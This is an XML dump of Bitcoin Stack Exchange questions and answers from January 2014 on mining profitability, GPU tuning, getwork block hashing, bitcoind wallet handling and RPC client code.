  <row Id="21152" PostTypeId="1" AcceptedAnswerId="21160" CreationDate="2014-01-25T20:04:48.670" Score="0" ViewCount="1033" Body="&lt;p&gt;I must be missing something here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This calculator site says that a 2000 kh/s rig can generate .6 litecoins a day or ~10 USD.&#xA;&lt;a href=&quot;http://www.litecoinminingcalculator.com/index.php?khs=2000&amp;amp;diff=3130.08003568&amp;amp;cdiff=3130.08003568&amp;amp;fee=2&quot; rel=&quot;nofollow&quot;&gt;http://www.litecoinminingcalculator.com/index.php?khs=2000&amp;amp;diff=3130.08003568&amp;amp;cdiff=3130.08003568&amp;amp;fee=2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these numbers wrong or has mining bitcoins with non asic rigs completely pointless now a days? Why isn't everyone mining litecoin at this rate?&lt;/p&gt;&#xA;" OwnerUserId="12690" LastEditorUserId="5406" LastEditDate="2016-04-25T20:44:55.417" LastActivityDate="2016-04-25T20:44:55.417" Title="Why would you rather mine Bitcoins than Litecoin? What am I missing?" Tags="|litecoin|mining-profitability|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21153" PostTypeId="1" AcceptedAnswerId="21163" CreationDate="2014-01-25T20:10:23.233" Score="9" ViewCount="1091" Body="&lt;p&gt;On the bitcoin wiki's &quot;Accounts explained&quot; page:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained#Account_Weaknesses&quot;&gt;https://en.bitcoin.it/wiki/Accounts_explained#Account_Weaknesses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It clearly states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The accounts code does not scale up to thousands of accounts with tens of thousands of transactions, because by-account (and by-account-by-time) indices are not implemented. So many operations (like computing an account balance) require accessing every wallet transaction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So my question is that should the standard web developer creating a bitcoin web app using the RPC interface use (or ever use) accounts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should we always use the default &quot;&quot; account since we technically always have to use accounts when accessing the RPC for things like getting the entire servers balance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should we just handle our users accounts on our own databases and ONLY use bitcoind for things like listsinceblock() to store transactions and user balances in our databases? &lt;/p&gt;&#xA;" OwnerUserId="12691" LastEditorUserId="12691" LastEditDate="2014-01-25T20:23:02.873" LastActivityDate="2014-01-26T21:58:09.027" Title="Bitcoin &quot;accounts&quot; feature - Is it practical or scalable?" Tags="|bitcoind|scalability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21155" PostTypeId="2" ParentId="8114" CreationDate="2014-01-25T20:56:59.983" Score="0" Body="&lt;p&gt;Bitcoin is open source and one can add new features.  Some do this by contributing to the Bitcoin client, some by creating alternate clients with different features while still operating on the same block chain and protocol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However one cannot add apposing features such as apposing economic theories (an inflationary currency vs a deflationary currency) or apposing security incentives (stake holders vs resource holders), regardless of the accessibility of the source code.  Also, Bitcoin has an additional hurdle to contribution above the bar of commit rights on the source code; the entire (read 50+%) community of users must agree with your alterations and adopt your changes if they alter the protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason other cryptocurrencies are being created to provide alternative technical or  economic solutions. One of these my prove to be a better solution, or we may end up with a selection of different digital currency 'instruments' with usefully different properties like stocks vs options vs bonds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although some alternatives have been developed to make smaller changes to perceived technical limitations of Bitcoin such as number of total coins, distribution rate, confirmation rate, etc. these are probably only of academic or research interest.  If any of these types of changes proved to be useful they could easily be incorporated into the Bitcoin protocol itself rendering the alternate superfluous.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastActivityDate="2014-01-25T20:56:59.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21157" PostTypeId="1" CreationDate="2014-01-25T21:20:15.247" Score="1" ViewCount="1713" Body="&lt;p&gt;I am mining on &lt;code&gt;Radeon HD 7850 2G&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I increased GPU clock speed to max 1050 available in AMD overdrive.&#xA;and then I started to increase memory clock speed. &#xA;Mining performance is dropping when memory clock speed is higher then 1250.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1300 - 327&#xA;1290 - 320&#xA;1280 - 313&#xA;1270 - 310&#xA;1260 - 307&#xA;1255 - 341&#xA;1250 - 361&#xA;1245 - 361&#xA;1240 - 360&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does clock speeds must be multiple? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some formula that shows the best values for mining?&lt;/p&gt;&#xA;" OwnerUserId="1921" LastEditorUserId="5406" LastEditDate="2016-04-25T20:44:35.133" LastActivityDate="2016-04-25T20:44:35.133" Title="Mining: Memory clock speed theory" Tags="|mining-hardware|gpu-mining|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21158" PostTypeId="1" AcceptedAnswerId="21166" CreationDate="2014-01-25T21:51:50.227" Score="1" ViewCount="265" Body="&lt;p&gt;Guys I have a few points that are not clear for me.&#xA;1) In the link below it says there are some fields we have to combine and hash. However when I get a work by saying getwork from a pool. What I get is in the below either. The problem is that I cannot find the fields listed in the first link, Version, hashPrevBlock etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getwork result.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{   'data':'0000000271112b7a1cf8e97b8367102f7e155499bf5c7303cbcdd4360000000000000000427719b35a84bc7732edd34ff3a6278dc4ac0ec2a9544e6088bc0bd719e17a8e52db3b211902666600000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000',&#xA;'hash1':'00000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000010000',&#xA;'target':'0000000000000000000000000000000000000000000000000000ffff00000000',&#xA;'midstate':'45aebb01c0fdb704ee7d2bbf02665943f50f299ff8bb252e614100065bc5c20c'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) It says in the first link &quot;Whenever Nonce overflows (which it does frequently), the extraNonce portion of the generation transaction is incremented, which changes the Merkle root.&quot; Should I put extra 32 bits for extranonce?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) What is the reason reversing the header?&lt;/p&gt;&#xA;" OwnerUserId="12377" LastActivityDate="2014-01-26T06:14:13.957" Title="Block Hashing Data" Tags="|block|hash|getwork|nonce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21160" PostTypeId="2" ParentId="21152" CreationDate="2014-01-26T01:38:54.073" Score="1" Body="&lt;p&gt;Mining Bitcoins with anything other than a purpose-designed ASIC is inefficient with the current hash rate, and is unprofitable in terms of power expended and daily profit. But mining coins using the Scrypt algorithm with graphics cards is profitable in a small or large operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why is Scrypt Mining Profitable?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To simply put it, Scrypt requires more memory than SHA hashing and memory is expensive. GPU mining is popular and profitable, because it has large banks of memory standard and cheaply ($300-$400 a card). SHA hashing is easy to do with an ASIC chip because it can be done with very low memory and very inexpensively in terms of resources. So, building an ASIC to do the job of Scrypt mining is a lot more complex and expensive – keep in mind the designing a Bitcoin ASIC was a multi-million dollar process. Having large banks of memory on your ASIC chip introduces a lot more design issues. ASICs for Scrypt is very doable, but a lot less doable than Bitcoin ASICs. We probably will see the rise of Scrypt ASICs within 5 years or less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is Scrypt?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the hashing algorithm a majority of the cryptocurrencies use. Litecoin, Dogecoin, etc are all Scrypt-based coins. People use Scrypt for good reason, it makes ASIC mining tough, and that's about it. Bitcoin using SHA-256 is not bad in any way, but it's a lot more sensible to use Scrypt with any new altcoin to avoid getting ravaged by extreme hash rates ASICs can impose. And Bitcoin cannot simply change over from SHA-256 to Scrypt either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When is ASIC Mining Profitable?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't get fooled into thinking Bitcoin mining is not profitable, the profit comes with large operations. Say you could get your hands on a few racks of ASICs mining Bitcoin, you'd have reasonable returns. You also have to move fast with Bitcoin, certain ASICs obsolete fast. You start turning a profit with ASICs when you've spent tens of thousands dollars. The BFL units that cost around $250 became inefficient within a few months of release, and you could find units going for thousands of dollars because those were one of the first few shipped early. See &lt;a href=&quot;http://motherboard.vice.com/blog/a-guide-to-bitcoin-mining-why-someone-bought-a-1500-bitcoin-miner-on-ebay-for-20600&quot; rel=&quot;nofollow&quot;&gt;http://motherboard.vice.com/blog/a-guide-to-bitcoin-mining-why-someone-bought-a-1500-bitcoin-miner-on-ebay-for-20600&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="5406" LastEditDate="2014-01-26T13:12:10.717" LastActivityDate="2014-01-26T13:12:10.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21162" PostTypeId="2" ParentId="21157" CreationDate="2014-01-26T01:56:15.810" Score="1" Body="&lt;p&gt;My 7850 has very similar characteristics. 1250Mhz works the best. I doubt there is a formula as my 7870 is much happier with 1500Mhz. Remember that video memory has error correction. Sometimes is can run quite high with lots of errors which will reduce your performance. &lt;/p&gt;&#xA;" OwnerUserId="12701" LastActivityDate="2014-01-26T01:56:15.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21163" PostTypeId="2" ParentId="21153" CreationDate="2014-01-26T02:32:09.103" Score="8" Body="&lt;p&gt;As mentioned in the page you linked, it is a bit awkward to use Bitcoin-qt's accounts system. Don't bother with accounts as they are intended to be a way to manage your money within the program. When you're having thousands of accounts you are already doing it wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So how do you structure a service to do this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Handle accounts completely on your database. When you generate an address, store it as a field under a user in whatever database table/collection you have for users. This will allow you to quickly and easily scale your address counts in the event you grow large, Bitcoind does not scale well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Handling receives&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is awkward to do with the current state of Bitcoind, the program never really intended to support large services. Bitcoind can efficiently detect receives to addresses in wallet. When you use the RPC interface and use the &quot;getnewaddress&quot; command, Bitcoind will store it in it's wallet. I've tested out Bitcoind with a million addresses before, it takes a solid half hour to start up but receives are snappy with no noticeable slowness. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;walletnotify&lt;/code&gt; and/or &lt;code&gt;blocknotify&lt;/code&gt; to get new transactions and blocks. Those two are arguments you can put in the &lt;code&gt;bitcoin.conf&lt;/code&gt; file that specify a program to run when one transaction or block happens. Walletnotify is called per new transaction to or from an address in wallet.dat and gives a notification when it receives the transaction (unconfirmed) and then again when it's in a block (1 confirm). Blocknotify works per block. See the suggestions on how to use walletnotify &lt;a href=&quot;https://bitcointalk.org/index.php?topic=203438&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just load the hashes walletnotify gives you in a database and then on block check if each one has enough confirmations, be thoughtful of the fact that Bitcoind usually has 2 walletnotify events per txn (one for unconfirmed and one for when a txn makes it into a block). And make sure the program you call is light weight and quick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The pro method&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This ways a bit advanced, rarely used and you will need some C++/Java/Python/Go proficiency. The community have made many Bitcoin implementations available as open-source libraries you can link to. Many larger services simply need more complexity with receiving transaction and better scalability, which Bitcoind struggles to provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a lot more work but you can make your own &quot;node&quot; with features you need easily with the libraries available for a wide range of languages. For Java there's &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;noreferrer&quot;&gt;BitcoinJ&lt;/a&gt;, widely depended on and reliable. For C++ there is &lt;a href=&quot;http://libbitcoin.dyne.org/doc/&quot; rel=&quot;noreferrer&quot;&gt;Libbitcoin&lt;/a&gt;, which has pretty good &lt;a href=&quot;http://libbitcoin.dyne.org/doc/introduction.html#examples&quot; rel=&quot;noreferrer&quot;&gt;examples&lt;/a&gt; and looks simple. Python has a bunch of node implementations and modules. Even Golang has something pretty popular. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need examples, Github has a lot you can find on search.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="11369" LastEditDate="2014-01-26T21:58:09.027" LastActivityDate="2014-01-26T21:58:09.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21164" PostTypeId="2" ParentId="21002" CreationDate="2014-01-26T03:15:34.597" Score="1" Body="&lt;p&gt;Bitcoin was not intended to solve the worlds problems any more than the Internet was. It does however bring new question and thought to how society works, much in the same way the Internet does.&lt;/p&gt;&#xA;" OwnerUserId="2678" LastActivityDate="2014-01-26T03:15:34.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21166" PostTypeId="2" ParentId="21158" CreationDate="2014-01-26T06:14:13.957" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;the link you posted is referring to for the full process of mining, as you would need if you're using an ASIC or some other hardware solution capable of generating 4 gigahashes or more per second. if you're using &lt;code&gt;getwork&lt;/code&gt;, most of that information is irrelevant and confusing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;see (1) above. you don't worry about extraNonce when using getwork; you can just request &lt;code&gt;getwork&lt;/code&gt; again and get a new &lt;code&gt;data&lt;/code&gt; string from the server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the reason for reversing the header (actually reversing each 32-bit word in the header) is that &lt;em&gt;it has already been reversed (converted to little-endian)&lt;/em&gt; before sending it to you and you need to &lt;em&gt;undo&lt;/em&gt; that reversal, putting it back in big-endian form.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;all you need to do when using getwork is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;convert the &lt;code&gt;data&lt;/code&gt; to big-endian&lt;/li&gt;&#xA;&lt;li&gt;get the sha256 hash of the sha256 hash of the 80-byte header&lt;/li&gt;&#xA;&lt;li&gt;if that hash is below the threshold, send your header with current nonce to the server using the appropriate &lt;code&gt;getwork&lt;/code&gt; RPC call with data&lt;/li&gt;&#xA;&lt;li&gt;keep trying again with different nonces each time (the last 4 bytes of the 80 bytes are the nonce)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3758" LastActivityDate="2014-01-26T06:14:13.957" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21167" PostTypeId="2" ParentId="7850" CreationDate="2014-01-26T06:51:34.303" Score="2" Body="&lt;p&gt;Have a look at my service, &lt;a href=&quot;https://wasipaid.com&quot; rel=&quot;nofollow&quot;&gt;Was I Paid?&lt;/a&gt;. It will send you an email on payment receipt, and in the future will support other types of events.&lt;/p&gt;&#xA;" OwnerUserId="2507" LastActivityDate="2014-01-26T06:51:34.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21169" PostTypeId="1" CreationDate="2014-01-26T09:24:26.387" Score="6" ViewCount="287" Body="&lt;p&gt;Can someone explain how secure the deterministic wallet implementations of Electrum and Armory are? As far as I know, Electrum uses a 128-bit seed to generate all the addresses. I don't get this because since even a single bitcoin address consists of 256-bits. why not make this seed something much larger? And electrum uses something called &quot;root key&quot; and &quot;chain code&quot; which I can't find any explanations about. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how secure these implementations are? &lt;/p&gt;&#xA;" OwnerUserId="12713" LastActivityDate="2014-01-31T15:27:28.693" Title="How secure are current deterministic wallets?" Tags="|deterministic-wallets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21170" PostTypeId="1" CreationDate="2014-01-26T09:45:24.950" Score="5" ViewCount="951" Body="&lt;p&gt;What is the best operating system configuration for a computer to run (bitcoind or bitcoin-Qt) and (BFGminer or CGMiner) under Linux, assuming that it will be connected to a 3 Terrahash mining rig on one side and the internet on the other side?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What packages, at minimum, must be installed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much bandwidth will I need using the Stratum protocol and how much using the GetBlockTemplate protocol?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT TO ADD:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean by &quot;best configuration&quot; is the minimum configuration that provides the necessary functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm willing to bet that 90 percent of what's in a desktop Linux distribution is not needed in this application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, a kernel and a shell will be needed.  What else?&lt;/p&gt;&#xA;" OwnerUserId="12714" LastEditorUserId="-1" LastEditDate="2014-01-27T07:16:13.767" LastActivityDate="2024-03-24T21:07:55.853" Title="bitcond and bitcoin-Qt system configuration and bandwidth requirements" Tags="|bitcoind|bitcoin-core|linux|bandwidth|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21171" PostTypeId="2" ParentId="20776" CreationDate="2014-01-26T11:11:53.063" Score="1" Body="&lt;p&gt;At Bitminter the work in the last 10 finished shifts get paid when a block is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have work in the current unfinished shift at the time when the block is found, there is no payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have work in old shifts (not the 10 latest ones) at the time when the block is found, there is no payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have done some work and the shift is finished, the work is eligible for pay until 10 more shifts are finished. It can take a full day for that to happen, and in the meantime you get paid for any blocks that are found. So it takes a while from you do the work until it is fully paid.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-01-26T11:11:53.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21172" PostTypeId="2" ParentId="20233" CreationDate="2014-01-26T11:43:48.360" Score="0" Body="&lt;p&gt;Try to &quot;run as administrator&quot;.&lt;/p&gt;&#xA;" OwnerUserId="12718" LastActivityDate="2014-01-26T11:43:48.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21173" PostTypeId="1" CreationDate="2014-01-26T12:22:18.343" Score="0" ViewCount="36" Body="&lt;p&gt;How to add workers through API?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see any method to add workers or may be it is there but with some other name?&lt;/p&gt;&#xA;" OwnerUserId="7362" LastActivityDate="2014-01-26T12:22:18.343" Title="How to add worker through API?" Tags="|development|api|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21174" PostTypeId="1" CreationDate="2014-01-26T12:40:57.043" Score="3" ViewCount="414" Body="&lt;p&gt;I really want to integrate Bitcoin into my girlfriend's web store, but have found that they are either too expensive per transaction for international payments (bips.me - $7.50), have a huge minimum withdrawal threshold for international bank accounts (bitpay - $1,000) or simply don't work with international bank accounts at all (coinbase)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any payment module I've overlooked that will work with Opencart, and will pay in £GBP to a UK bank account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12719" LastActivityDate="2023-02-02T09:04:25.533" Title="Integrating Bitcoin payment methods to a UK Opencart store?" Tags="|payment|ecommerce|payment-processors|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21175" PostTypeId="1" CreationDate="2014-01-26T12:57:10.113" Score="0" ViewCount="3284" Body="&lt;p&gt;I have done my research on the internet and failed to come up with any suitable answer. I asked on a few forums as well, but no results. So my question is, if I have two separate computers, one with 8GB dedicated RAM with a 1.7GHz processor, and another with 2GB RAM and a 3.2GHz processor, which one has the greater hashrate?&lt;/p&gt;&#xA;" OwnerUserId="10829" LastEditorUserId="5406" LastEditDate="2016-03-17T15:07:06.883" LastActivityDate="2016-03-17T15:07:06.883" Title="Is the RAM or the computing power more important for the hashrate?" Tags="|hashpower|cpu-mining|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21176" PostTypeId="2" ParentId="21175" CreationDate="2014-01-26T13:23:22.347" Score="2" Body="&lt;p&gt;The 3.2 gigahertz machine. Ram is necessary but the hash rate is determined by processing speed.&lt;/p&gt;&#xA;" OwnerUserId="4316" LastActivityDate="2014-01-26T13:23:22.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21177" PostTypeId="2" ParentId="20178" CreationDate="2014-01-26T14:38:12.960" Score="0" Body="&lt;p&gt;You can check the balance at blockchain.info/address/yourAddress. If it matches your wallet balance, then your whole balance is at the original address with the original key. If not, your wallet should be keeping track of change addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also see the out transactions on blockchain. If they go to 2 addresses different from your main one, one is a change address. &lt;/p&gt;&#xA;" OwnerUserId="12722" LastActivityDate="2014-01-26T14:38:12.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21178" PostTypeId="2" ParentId="17722" CreationDate="2014-01-26T15:01:09.577" Score="1" Body="&lt;p&gt;David's answer explains nicely why people consider Bitcoins valuable, but I don't think it addresses all your questions directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin's value doesn't originate from people willing to pay for the hashes performed by mining. That would be like saying that gold has value because people value drilling in the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has value because of its utility, not because of its origin. The mining payout scheme is just how Bitcoins are (initially) distributed.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2014-01-26T15:08:11.933" LastActivityDate="2014-01-26T15:08:11.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21179" PostTypeId="2" ParentId="20178" CreationDate="2014-01-26T15:17:18.857" Score="1" Body="&lt;p&gt;Android Bitcoin Wallet does not send change to a new address. You don't need to re-backup your keys unless you explicitly generate a new address.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-01-26T15:17:18.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21181" PostTypeId="1" CreationDate="2014-01-26T15:57:22.357" Score="4" ViewCount="760" Body="&lt;p&gt;I can't get the node-bitcoin rpc module running correctly in my express app... Either I get a connection refused error or I get a invalid params -32602&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a little code snipped from my app.js file.  Can somebody help me out on what I'm doing wrong here.  FYI, I do have port 8332 and 8333 open on nginx &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/******* THIS GIVES ME INVALID PARAMS from -32602 ******/&#xA;var net = require('net');&#xA;var server = net.createServer(function(c) { //'connection' listener&#xA;console.log('server connected');&#xA;});&#xA;server.listen(8332, function() { //'listening' listener&#xA;console.log('server bound');&#xA;});&#xA;&#xA;var bitcoinClient = new bitcoin.Client({&#xA;host: 'localhost',&#xA;port: 8332,&#xA;user: 'username',&#xA;pass: 'password'&#xA;});&#xA;&#xA;bitcoinClient.getInfo(function(e, info){&#xA;if(e){ return console.log(e);}&#xA;});&#xA;/****************************************************************/&#xA;&#xA;/******* THIS GIVES ME CONNECTION REFUSED ******/&#xA;&#xA;var bitcoinClient = new bitcoin.Client({&#xA;host: 'localhost',&#xA;port: 8332,&#xA;user: 'username',&#xA;pass: 'password'&#xA;});&#xA;&#xA;bitcoinClient.getInfo(function(e, info){&#xA;if(e){ return console.log(e);}&#xA;});&#xA;/****&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12725" LastEditorUserId="10521" LastEditDate="2014-01-30T09:29:29.333" LastActivityDate="2014-04-10T22:50:58.103" Title="node-bitcoin express rpc" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21182" PostTypeId="1" CreationDate="2014-01-26T16:01:59.313" Score="3" ViewCount="1768" Body="&lt;p&gt;I'm sorry everyone, I have looked and stared at the &lt;a href=&quot;http://bitcoinj.googlecode.com/git-history/78bdd09189ec3d7d38c64029b9742e24f2bfc143/target/site/apidocs/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;API&lt;/a&gt; and I'm coming up with nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a public static void main (naturally), but have no idea how to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Connect to the network&lt;/li&gt;&#xA;&lt;li&gt;Download the block chain&lt;/li&gt;&#xA;&lt;li&gt;Navigate through it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The purpose of this is to keep the block chain as a record of transactions and perform reporting on my own transactions. I don't have my wallet on the same machine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately for me, my ability to read the api is still underdeveloped, and &lt;a href=&quot;https://code.google.com/p/bitcoinj/wiki/GettingStarted&quot; rel=&quot;nofollow noreferrer&quot;&gt;the&lt;/a&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7722/test-network-genesis-block&quot;&gt;various&lt;/a&gt; pages I've seen don't really go step by dummy step. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most important of the above steps is, how to get the block chain...&lt;/p&gt;&#xA;" OwnerUserId="11810" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-02-15T22:19:04.893" Title="Using bitcoinj to discover peers and download the block chain" Tags="|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21185" PostTypeId="1" CreationDate="2014-01-26T18:26:12.930" Score="1" ViewCount="1120" Body="&lt;p&gt;I'm using the Cryptsy API with a bot. So far, my bot's problem is that when it decides it needs to buy or sell a coin (not just bitcoin), I always seem to compute a price that is way too low or high. The data I have access to is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The currently outstanding buy orders (though a few seconds old and without timestamps)&lt;/li&gt;&#xA;&lt;li&gt;The currently outstanding sell orders&lt;/li&gt;&#xA;&lt;li&gt;The previous 20 trades that were executed on the market&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From all of this data, is there an existing algorithm to compute a price that will almost always buy or sell? My bot's priority is to have fast trades(like, less than a minute for execution), even if the price is not the best. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cryptsy themselves compute a pretty good number in their web UI (the default ask/bid price), but I don't see that value exposed in their API. Where does this ask/bid price come from? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, I've tried a few things with little success&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Highest buy price/Lowest sell price -- This tends to catch outliers and results in me placing an overly optimistic bid that only one buyer/seller was willing to pay (and because my data is seconds old, apparently somone else picks it up) &lt;/li&gt;&#xA;&lt;li&gt;An average of 3 lowest/highest -- This had the same problem with outliers&lt;/li&gt;&#xA;&lt;li&gt;Lowest buy price/Highest sell price -- This is extremely pessimistic and results in me paying ridiculous prices that are unreasonable &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How can I compute a good ask/bid price from this set of data I have? &lt;/p&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2024-03-27T13:04:40.737" Title="Given a list of buy/sell orders and previous trades, compute a buy/sell price" Tags="|trading|market|bots|cryptsy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21187" PostTypeId="2" ParentId="21175" CreationDate="2014-01-26T20:11:56.610" Score="2" Body="&lt;p&gt;If you're thinking about mining something SHA256 based (like bitcoin), then you can't even dream about doing it with a normal PC.. You need special ASIC hardware or you're just throwing your hardware and electricity away.. It is probably difficult even with the ASIC hardware.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scrypt (like litecoin) based systems are made to be limited some by RAM, and not just pure calculation speed to try to dampen the ASIC arms race to an extent, but it might be getting to the point where ASICs are taking over there too.. Especially if you want to be profitable.. I could be wrong though.. I don't follow the Litecoin stuff much.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have a lot more success with your research if you decide what you're going to mine... and to help you out a bit, you should decide not to mine bitcoin.. the competition is too great for a decent ROI (especially if you're not going to commit $20K to building your systems). Litecoin or dogecoin or something is probably a better option.. &lt;/p&gt;&#xA;" OwnerUserId="12614" 